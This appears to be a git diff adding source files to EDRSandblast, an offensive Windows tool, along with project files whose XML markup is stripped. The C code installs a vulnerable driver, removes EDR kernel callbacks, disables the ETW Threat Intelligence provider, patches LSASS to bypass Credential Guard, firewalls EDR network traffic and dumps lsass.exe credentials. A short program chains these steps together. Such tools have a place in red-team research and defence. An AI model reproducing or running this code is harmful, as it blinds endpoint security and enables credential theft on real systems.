sizeof(TCHAR)); + if (!newOutputPath) { + _putts_or_not(TEXT("[!] A fatal error occurred while allocating memory for thread arguments")); + lpExitCode = EXIT_FAILURE; + break; + } + _tcscat_s(newOutputPath, newOutputPathsZ, currentFolderPath); + _tcscat_s(newOutputPath, newOutputPathsZ, TEXT("\\")); + _tcscat_s(newOutputPath, newOutputPathsZ, outputPath); + _tcscpy_s(outputPath, _countof(outputPath), newOutputPath); + if (newOutputPath) { + free(newOutputPath); + newOutputPath = NULL; + } + } + + HANDLE hThread = NULL; + + // Set arguments for function call through + PVOID* pThreatArguments = calloc(2, sizeof(PVOID)); + if (!pThreatArguments) { + _putts_or_not(TEXT("[!] A fatal error occurred while allocating memory for thread arguments")); + lpExitCode = EXIT_FAILURE; + break; + } + pThreatArguments[0] = processName; + pThreatArguments[1] = outputPath; + + if (directSyscalls) { + hThread = CreateThread(NULL, 0, SandMiniDumpWriteDumpFromThread, (PVOID) pThreatArguments, 0, NULL); + } + else { + hThread = CreateThread(NULL, 0, dumpProcessFromThread, (PVOID) pThreatArguments, 0, NULL); + } + if (hThread) { + WaitForSingleObject(hThread, INFINITE); + GetExitCodeThread(hThread, (PDWORD)&lpExitCode); + if (lpExitCode != 0) { + _putts_or_not(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe")); + lpExitCode = EXIT_FAILURE; + } + } + else { + _putts_or_not(TEXT("[!] An error occurred while attempting to start the new thread...")); + lpExitCode = EXIT_FAILURE; + } + if (pThreatArguments) { + free(pThreatArguments); + pThreatArguments = NULL; + } + break; + + // Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory. + case credguard: + if (_tcslen(wdigestOffsetCSVPath) == 0) { + TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv"); + _tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath)); + _tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName)); + } + + if (FileExists(wdigestOffsetCSVPath)) { + _putts_or_not(TEXT("[+] Loading wdigest related offsets from the CSV file")); + LoadWdigestOffsetsFromFile(wdigestOffsetCSVPath); + if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) { + _putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of wdigest in use.")); + } + } + if (internet && (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0)) { + _putts_or_not(TEXT("[+] Downloading wdigest related offsets from the MS Symbol Server (will drop a .pdb file in current directory)")); +#if _DEBUG + LoadWdigestOffsetsFromInternet(FALSE); +#else + LoadWdigestOffsetsFromInternet(TRUE); +#endif + if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) { + _putts_or_not(TEXT("[-] Downloading offsets from the internet failed !")); + + } + else { + _putts_or_not(TEXT("[+] Downloading offsets succeeded !")); + if (FileExists(wdigestOffsetCSVPath)) { + _putts_or_not(TEXT("[+] Saving them to the CSV file...")); + SaveWdigestOffsetsToFile(wdigestOffsetCSVPath); + } + } + } + if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) { + _putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file. LSASS won't be patched...\n")); + lpExitCode = EXIT_FAILURE; + } + else { + _putts_or_not(TEXT("")); + if (kernelMode) { + _putts_or_not(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled")); + if (g_ntoskrnlOffsets.st.eprocess_protection != 0x0) { + SetCurrentProcessAsProtected(verbose); + } + } + if (disableCredGuardByPatchingLSASS()) { + _putts_or_not(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.")); + } + else { + _putts_or_not(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.")); + lpExitCode = EXIT_FAILURE; + } + } + break; + + // Add firewall rules to block EDR network communications. + case firewall: + { + hrStatus = S_OK; + fwBlockingRulesList sFWEntries = { 0 }; + + _tprintf_or_not(TEXT("[*] Configuring Windows Firewall rules to block EDR network access...\n")); + hrStatus = FirewallBlockEDR(&sFWEntries); + if (FAILED(hrStatus)) { + _tprintf_or_not(TEXT("[!] An error occured while attempting to create Firewall rules!\n")); + } + else { + _tprintf_or_not(TEXT("[+] Successfully configured Windows Firewall rules to block EDR network access!\n")); + + } + _tprintf_or_not(TEXT("\n")); + FirewallPrintManualDeletion(&sFWEntries); + break; + } + } + _putts_or_not(TEXT("")); + } + + // If the the payload is not safe to execute. + else { + if (WasRestarted()) { + _tprintf_or_not(TEXT("Something failed, cannot perform safely execute payload. Aborting...\n")); + exit(1); + } + _putts_or_not(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and starting another process...\n")); +#ifdef _DEBUG + assert(kernelMode); +#endif + /* + * 1/3 : Removing kernel-based monitoring. + */ + // Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo. + if (ETWTIState) { + DisableETWThreatIntelProvider(verbose); + _putts_or_not(TEXT("")); + } + // If kernel callbacks are monitoring processes, we remove them and start a new process. + if (foundNotifyRoutineCallbacks) { + _putts_or_not(TEXT("[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading...")); + RemoveEDRNotifyRoutineCallbacks(foundEDRDrivers); + _putts_or_not(TEXT("")); + } + if (foundObjectCallbacks) { + _putts_or_not(TEXT("[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication...")); + DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers); + _putts_or_not(TEXT("")); + } + + /* + * 2/3 : Starting "resursively" our process. + */ + // Re-executing the present binary, without any kernel callback nor ETWTI enabled. + _putts_or_not(TEXT("[+] All EDR drivers were successfully removed from Kernel callbacks!\n\n==================================================\nStarting a new unmonitored process...\n==================================================\n")); + STARTUPINFO si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + memset(&pi, 0, sizeof(pi)); + // Pass the same argument as the parent process. + TCHAR* currentCommandLine = GetCommandLine(); + CloseDriverHandle(); + if (CreateProcess(argv[0], currentCommandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { + WaitForSingleObject(pi.hProcess, INFINITE); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + else { + _putts_or_not(TEXT("[!] An error occured while trying to create a new process")); + lpExitCode = EXIT_FAILURE; + } + _putts_or_not(TEXT("\n")); + + /* + * 3/3 : Restoring state after execution. + */ + // By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set. + if (restoreCallbacks == TRUE && foundNotifyRoutineCallbacks) { + _putts_or_not(TEXT("[+] Restoring EDR's kernel notify routine callbacks...")); + RestoreEDRNotifyRoutineCallbacks(foundEDRDrivers); + _putts_or_not(TEXT("")); + } + if (restoreCallbacks == TRUE && foundObjectCallbacks) { + _putts_or_not(TEXT("[+] Restoring EDR's kernel object callbacks...")); + EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers); + _putts_or_not(TEXT("")); + } + + // Renable the ETW Threat Intel provider. + // TODO : make this conditionnal, just as kernel callbacks restoring ? + if (ETWTIState) { + EnableETWThreatIntelProvider(verbose); + _putts_or_not(TEXT("")); + } + + if (foundEDRDrivers) { + free(foundEDRDrivers); + foundEDRDrivers = NULL; + } + } + } + + if (kernelMode && removeVulnDriver) { + // Sleep(5000); // TODO : replace by a reliable method to check if the driver is ready + _putts_or_not(TEXT("[*] Uninstalling vulnerable driver...")); + CloseDriverHandle(); + status = UninstallVulnerableDriver(); + if (status == FALSE) { + _putts_or_not(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver")); + _tprintf_or_not(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetDriverServiceName()); + lpExitCode = EXIT_FAILURE; + } + else { + _putts_or_not(TEXT("[+] The vulnerable driver was successfully uninstalled!")); + } + } + + return lpExitCode; +} diff --git a/EDRSandblast_CLI/EDRSandblast_CLI.vcxproj b/EDRSandblast_CLI/EDRSandblast_CLI.vcxproj new file mode 100644 index 0000000..a4b2002 --- /dev/null +++ b/EDRSandblast_CLI/EDRSandblast_CLI.vcxproj @@ -0,0 +1,150 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + + + + 16.0 + Win32Proj + {ffa0fdde-be70-49e4-97de-753304ef1113} + EDRSandblastCLI + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + $(SolutionDir)\EDRSandblast\Includes;$(IncludePath) + $(LibraryPath) + EDRSandblast + + + $(SolutionDir)\EDRSandblast\Includes;$(IncludePath) + $(LibraryPath) + EDRSandblast + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + $(SolutionDir)$(Platform)\$(Configuration)\EDRSandblast_Core.lib;Dbghelp.lib;Version.lib;Winhttp.lib;Pathcch.lib;Shlwapi.lib;%(AdditionalDependencies) + libcmtd.lib + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + $(SolutionDir)$(Platform)\$(Configuration)\EDRSandblast_Core.lib;Dbghelp.lib;Version.lib;Winhttp.lib;Pathcch.lib;Shlwapi.lib;%(AdditionalDependencies) + libcmtd.lib + + + + + + \ No newline at end of file diff --git a/EDRSandblast_CLI/EDRSandblast_CLI.vcxproj.filters b/EDRSandblast_CLI/EDRSandblast_CLI.vcxproj.filters new file mode 100644 index 0000000..34e1981 --- /dev/null +++ b/EDRSandblast_CLI/EDRSandblast_CLI.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EDRSandblast_LsassDump/EDRSandblast_LsassDump.c b/EDRSandblast_LsassDump/EDRSandblast_LsassDump.c new file mode 100644 index 0000000..92cca91 --- /dev/null +++ b/EDRSandblast_LsassDump/EDRSandblast_LsassDump.c @@ -0,0 +1,31 @@ +#include "../EDRSandblast_StaticLibrary/EDRSandblast_API.h" +#include + +#pragma comment(lib, "Dbghelp.lib") +#pragma comment(lib, "Version.lib") +#pragma comment(lib, "Winhttp.lib") +#pragma comment(lib, "EDRSandblast_Core.lib") +#pragma comment(lib, "EDRSandblast_StaticLibrary.lib") +#pragma comment(lib, "Pathcch.lib") +#pragma comment(lib, "Shlwapi.lib") + + +int main() +{ + EDRSB_CONTEXT ctx = { 0 }; + EDRSB_CONFIG cfg = { 0 }; + cfg.bypassMode.Usermode = TRUE; + cfg.bypassMode.Krnlmode = TRUE; + cfg.offsetRetrievalMethod.Internet = TRUE; + cfg.offsetRetrievalMethod.File = TRUE; + + EDRSB_STATUS status; + if (status = EDRSB_Init(&ctx, &cfg) != EDRSB_SUCCESS) { + printf("EDRSB_Init: %u", status); + } + Usermode_RemoveAllMonitoring(&ctx, Find_and_use_existing_trampoline); + Krnlmode_RemoveAllMonitoring(&ctx); + Action_DumpProcessByName(&ctx, L"lsass.exe", L"C:\\no_scan\\tmp\\tmp.tmp", Find_and_use_existing_trampoline); + Krnlmode_RestoreAllMonitoring(&ctx); + EDRSB_CleanUp(&ctx); +} diff --git a/EDRSandblast_LsassDump/EDRSandblast_LsassDump.vcxproj b/EDRSandblast_LsassDump/EDRSandblast_LsassDump.vcxproj new file mode 100644 index 0000000..5dbb9ab --- /dev/null +++ b/EDRSandblast_LsassDump/EDRSandblast_LsassDump.vcxproj @@ -0,0 +1,141 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {04dfb6e4-809e-4c35-88a1-2cc5f1ebfebd} + EDRSandblastLsassDump + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + %(AdditionalDependencies) + $(OutDir);%(AdditionalLibraryDirectories) + libcmtd.lib + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + %(AdditionalDependencies) + $(OutDir);%(AdditionalLibraryDirectories) + libcmtd.lib + + + + + + + + + \ No newline at end of file diff --git a/EDRSandblast_LsassDump/EDRSandblast_LsassDump.vcxproj.filters b/EDRSandblast_LsassDump/EDRSandblast_LsassDump.vcxproj.filters new file mode 100644 index 0000000..acda8b2 --- /dev/null +++ b/EDRSandblast_LsassDump/EDRSandblast_LsassDump.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EDRSandblast_StaticLibrary/EDRSandblast_API.c b/EDRSandblast_StaticLibrary/EDRSandblast_API.c new file mode 100644 index 0000000..f1ff974 --- /dev/null +++ b/EDRSandblast_StaticLibrary/EDRSandblast_API.c @@ -0,0 +1,762 @@ +#include +#include + +#include "../EDRSandblast/EDRSandblast.h" +#include "../EDRSandblast/Includes/CredGuard.h" +#include "../EDRSandblast/Includes/DriverOps.h" +#include "../EDRSandblast/Includes/ETWThreatIntel.h" +#include "../EDRSandblast/Includes/FileUtils.h" +#include "../EDRSandblast/Includes/Firewalling.h" +#include "../EDRSandblast/Includes/KernelCallbacks.h" +#include "../EDRSandblast/Includes/KernelMemoryPrimitives.h" +#include "../EDRSandblast/Includes/ProcessDump.h" +#include "../EDRSandblast/Includes/ProcessDumpDirectSyscalls.h" +#include "../EDRSandblast/Includes/NtoskrnlOffsets.h" +#include "../EDRSandblast/Includes/ObjectCallbacks.h" +#include "../EDRSandblast/Includes/RunAsPPL.h" +#include "../EDRSandblast/Includes/Syscalls.h" +#include "../EDRSandblast/Includes/UserlandHooks.h" +#include "../EDRSandblast/Includes/WdigestOffsets.h" +#include "EDRSandblast_API.h" + +// A passer dans le core? +EDRSB_STATUS _InstallVulnerableDriver(EDRSB_CONTEXT* ctx) { + EDRSB_CONFIG* config = ctx->config; + + WCHAR currentFolderPath[MAX_PATH] = { 0 }; + GetCurrentDirectoryW(_countof(currentFolderPath), currentFolderPath); + + /* + * Setup the driver path + */ + WCHAR driverPath[MAX_PATH] = { 0 }; + WCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE; + if (config->vulerableDriverPath == NULL) { + WCHAR separator[] = L"\\"; + wcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath)); + wcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator)); + wcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName)); + } + else { + wcscat_s(driverPath, _countof(driverPath), config->vulerableDriverPath); + } + if (!FileExistsW(driverPath)) { + _tprintf_or_not(TEXT("[!] Required driver file not present at %s\n"), driverPath); + return EDRSB_DRIVER_NOT_FOUND; + } + config->vulerableDriverPath = _wcsdup(driverPath); + + /* + * Actually installs the driver + */ + LPTSTR serviceNameIfAny = NULL; + BOOL isDriverAlreadyRunning = IsDriverServiceRunning(config->vulerableDriverPath, &serviceNameIfAny); + if (isDriverAlreadyRunning) { + _putts_or_not(TEXT("[+] Vulnerable driver was already installed")); + SetDriverServiceName(serviceNameIfAny); + } + else { + _putts_or_not(TEXT("[+] Installing vulnerable driver...")); + BOOL status = InstallVulnerableDriver(config->vulerableDriverPath); + if (status != TRUE) { + _putts_or_not(TEXT("[!] An error occurred while installing the vulnerable driver")); + _putts_or_not(TEXT("[*] Uninstalling the service and attempting the install again...")); + Sleep(20000); + CloseDriverHandle(); + status = UninstallVulnerableDriver(); + Sleep(2000); + status = status && InstallVulnerableDriver(config->vulerableDriverPath); + Sleep(2000); + if (status != TRUE) { + _putts_or_not(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the driver left...")); + return EDRSB_DRIVER_INSTALL_FAILED; + } + } + Sleep(5000);// TODO : replace by a reliable method to check if the driver is ready + } + _putts_or_not(TEXT("\n")); + return EDRSB_SUCCESS; +} + +// A passer dans le core? +EDRSB_STATUS _LoadNtosKrnlOffsets(EDRSB_CONTEXT* ctx) { + EDRSB_CONFIG* config = ctx->config; + + EDRSB_STATUS status; + BOOL offsetsLoaded = FALSE; + + if (ctx->config->offsetRetrievalMethod.Embeded) { + /* TODO */ + } + + if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.File) { + WCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 }; + + WCHAR currentFolderPath[MAX_PATH] = { 0 }; + GetCurrentDirectoryW(_countof(currentFolderPath), currentFolderPath); + + if (config->kernelOffsetFilePath == NULL) { + WCHAR offsetCSVName[] = L"\\NtoskrnlOffsets.csv"; + wcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath)); + wcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName)); + } + else { + wcscat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), config->kernelOffsetFilePath); + } + + if (!FileExistsW(ntoskrnlOffsetCSVPath)) { + _tprintf_or_not(TEXT("[!] Kernel offsets file not present at %s\n"), ntoskrnlOffsetCSVPath); + config->kernelOffsetFilePath = NULL; + } + + else { + _putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file")); + config->kernelOffsetFilePath = _wcsdup(ntoskrnlOffsetCSVPath); + LoadNtoskrnlOffsetsFromFile(config->kernelOffsetFilePath); + if (!NtoskrnlNotifyRoutinesOffsetsArePresent()) { // (only check notify routines offsets, because ETW Ti might legitimately be absent on "old" Windows versions) + _putts_or_not(TEXT("[!] Kernel offsets are missing from the CSV for the version of ntoskrnl in use.")); + } + else { + _putts_or_not(TEXT("[+] Kernel offsets were loaded from the CSV file for the version of ntoskrnl in use.")); + offsetsLoaded = TRUE; + } + } + } + + if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.Internet) { + _putts_or_not(TEXT("[+] Downloading kernel offsets from the MS Symbol Server (will drop a .pdb file in current directory)")); + LoadNtoskrnlOffsetsFromInternet(FALSE); + + if (!NtoskrnlNotifyRoutinesOffsetsArePresent()) { + _putts_or_not(TEXT("[-] Downloading kernel offsets from the internet failed!")); + } + + else { + _putts_or_not(TEXT("[+] Downloading kernel offsets succeeded!")); + offsetsLoaded = TRUE; + } + } + + if (!offsetsLoaded) { + _putts_or_not(TEXT("[!] The kernel offsets required couldn't be retrieve using any of the methods specified\n")); + status = EDRSB_KERNEL_OFFSETS_NOT_FOUND; + } + else { + status = EDRSB_SUCCESS; + } + + return status; +} + +// A passer dans le core? +EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) { + EDRSB_CONFIG* config = ctx->config; + + EDRSB_STATUS status; + BOOL offsetsLoaded = FALSE; + + if (ctx->config->offsetRetrievalMethod.Embeded) { + /* TODO */ + } + + if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.File) { + WCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 }; + + WCHAR currentFolderPath[MAX_PATH] = { 0 }; + GetCurrentDirectoryW(_countof(currentFolderPath), currentFolderPath); + + if (config->wdigestOffsetFilePath == NULL) { + WCHAR offsetCSVName[] = L"\\WdigestOffsets.csv"; + wcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath)); + wcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName)); + } + else { + wcscat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), config->wdigestOffsetFilePath); + } + + if (!FileExistsW(wdigestOffsetCSVPath)) { + _tprintf_or_not(TEXT("[!] Wdigest offsets file not present at %s\n"), wdigestOffsetCSVPath); + config->wdigestOffsetFilePath = NULL; + } + else { + _putts_or_not(TEXT("[+] Loading wdigest related offsets from the CSV file")); + config->wdigestOffsetFilePath = wdigestOffsetCSVPath; + LoadWdigestOffsetsFromFile(config->wdigestOffsetFilePath); + if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) { + _putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of wdigest in use.")); + } + else { + _putts_or_not(TEXT("[+] Wdigest offsets were loaded from the CSV file for the version of wdigest in use.")); + offsetsLoaded = TRUE; + } + } + } + + if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.Internet) { + _putts_or_not(TEXT("[+] Downloading wdigest offsets from the MS Symbol Server (will drop a .pdb file in current directory)")); + LoadWdigestOffsetsFromInternet(FALSE); + + if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) { + _putts_or_not(TEXT("[-] Downloading wdigest offsets from the internet failed!")); + } + + else { + _putts_or_not(TEXT("[+] Downloading wdigest offsets succeeded!")); + offsetsLoaded = TRUE; + } + } + + if (!offsetsLoaded) { + _putts_or_not(TEXT("[!] The wdigest offsets required couldn't be retrieve using any of the methods specified\n")); + status = EDRSB_WDIGEST_OFFSETS_NOT_FOUND; + } + else { + status = EDRSB_SUCCESS; + } + + return status; +} + +EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) { + EDRSB_STATUS status; + BOOL driverInstallRequired = FALSE; + BOOL kernelOffsetsLoaded = FALSE; + ctx->config = config; + + if (config->actions.ProtectProcess) { + config->bypassMode.Krnlmode = 1; + } + + // Check that the parameters are valid for BypassMode krnlmode. + if (config->bypassMode.Krnlmode) { + status = _LoadNtosKrnlOffsets(ctx); + if (status != EDRSB_SUCCESS) { + _tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status); + return status; + } + else { + kernelOffsetsLoaded = TRUE; + } + + driverInstallRequired = TRUE; + } + + // Check that the parameters are valid for BypassMode Usermode. + if (config->bypassMode.Usermode) { + /* No pre-requiste yet */ + } + + if (config->actions.ProtectProcess) { + if (g_ntoskrnlOffsets.st.eprocess_protection == 0x0) { + _putts_or_not(TEXT("[-] Init failed: missing the _PS_PROTECTION offset, cannot set process as Protected")); + return EDRSB_KERNEL_OFFSETS_NOT_FOUND; + } + + driverInstallRequired = TRUE; + } + + if (config->actions.BypassCredguard) { + status = _LoadWdigestOffsets(ctx); + if (status != EDRSB_SUCCESS) { + _tprintf_or_not(TEXT("[-] Init failed: required offsets for CredentialGuard bypass couldn't be loaded (error 0x%lx)!\n"), status); + return status; + } + } + + if (driverInstallRequired) { + status = _InstallVulnerableDriver(ctx); + if (status != EDRSB_SUCCESS) { + _tprintf_or_not(TEXT("[-] Init failed: driver couldn't be installed (error 0x%lx)!\n"), status); + return status; + } + + ctx->isDriverInstalled = TRUE; + } + + return EDRSB_SUCCESS; +} + +EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) { + if (ctx && !ctx->config->bypassMode.Krnlmode) { + _tprintf_or_not(TEXT("[-] Krnlmode operation failed: missing Krnlmode mode in config")); + return EDRSB_MISSING_KRNLMODE; + } + + EDRSB_STATUS status; + + struct FOUND_EDR_CALLBACKS* foundEDRDrivers = NULL; + BOOL isSafeToExecutePayload = TRUE; + BOOL foundNotifyRoutineCallbacks; + BOOL foundObjectsCallbacks; + BOOL isETWTICurrentlyEnabled; + + BOOL verbose = ctx ? ctx->config->verbose : FALSE; + + if (ctx) { + _putts_or_not(TEXT("[+] Checking if any EDR Kernel callbacks are configured...")); + } + + foundEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS)); + if (!foundEDRDrivers) { + _putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks")); + return EDRSB_MEMALLOC_FAIL; + } + + if (ctx) { + _putts_or_not(TEXT("[+] Check if EDR callbacks are registered on process / thread creation & image loading")); + } + foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose); + if (ctx && foundNotifyRoutineCallbacks) { + ctx->foundNotifyRoutineCallbacks = TRUE; + } + if (ctx) { + _tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT")); + _putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication")); + } + + foundObjectsCallbacks = EnumEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers); + if (ctx && foundObjectsCallbacks) { + ctx->foundObjectCallbacks = TRUE; + } + if (ctx) { + _tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found")); + } + + if (ctx) { + ctx->foundEDRDrivers = foundEDRDrivers; + _putts_or_not(TEXT("[+] Check the ETW Threat Intelligence Provider state")); + } + else { + free(foundEDRDrivers); + foundEDRDrivers = NULL; + } + + isETWTICurrentlyEnabled = isETWThreatIntelProviderEnabled(verbose); + if (ctx && isETWTICurrentlyEnabled) { + ctx->isETWTICurrentlyEnabled = TRUE; + } + + if (ctx) { + ctx->isETWTISystemEnabled |= ctx->isETWTICurrentlyEnabled; + _tprintf_or_not(TEXT("[+] ETW Threat Intelligence Provider is %s!\n\n"), ctx->isETWTISystemEnabled ? TEXT("ENABLED") : TEXT("DISABLED")); + ctx->krnlmodeMonitoringEnumDone = TRUE; + } + + if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) { + status = EDRSB_KNRL_MONITORING; + } + else { + status = EDRSB_SUCCESS; + } + + return status; +} + +EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) { + if (!ctx->config->bypassMode.Krnlmode) { + _tprintf_or_not(TEXT("[-] Krnlmode operation failed: missing Krnlmode mode in config")); + return EDRSB_MISSING_KRNLMODE; + } + + EDRSB_STATUS status; + + if (!ctx->krnlmodeMonitoringEnumDone) { + status = Krnlmode_EnumAllMonitoring(ctx); + if (status != EDRSB_KNRL_MONITORING) { + return status; + } + } + + if (ctx->foundNotifyRoutineCallbacks) { + _putts_or_not(TEXT("[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading...")); + // TODO Disable <-> Remove. + RemoveEDRNotifyRoutineCallbacks(ctx->foundEDRDrivers); + } + + if (ctx->foundObjectCallbacks) { + _putts_or_not(TEXT("[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication...")); + // TODO Disable <-> Remove. + DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers); + } + + if (ctx->isETWTICurrentlyEnabled) { + DisableETWThreatIntelProvider(ctx->config->verbose); + ctx->isETWTICurrentlyEnabled = FALSE; + _putts_or_not(TEXT("")); + } + + return Krnlmode_EnumAllMonitoring(NULL); +} + +EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) { + if (!ctx->krnlmodeMonitoringEnumDone) { + _putts(TEXT("[-] Kernel mode callbacks were not enumerated prior to this call")); + return EDRSB_FAILURE; + } + + if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundNotifyRoutineCallbacks) { + _putts_or_not(TEXT("Restoring EDR's kernel notify routine callbacks...")); + RestoreEDRNotifyRoutineCallbacks(ctx->foundEDRDrivers); + } + + if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundObjectCallbacks) { + _putts_or_not(TEXT("[+] Restoring EDR's kernel object callbacks...")); + EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers); + } + + // Renable the ETW Threat Intel provider. + if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) { + 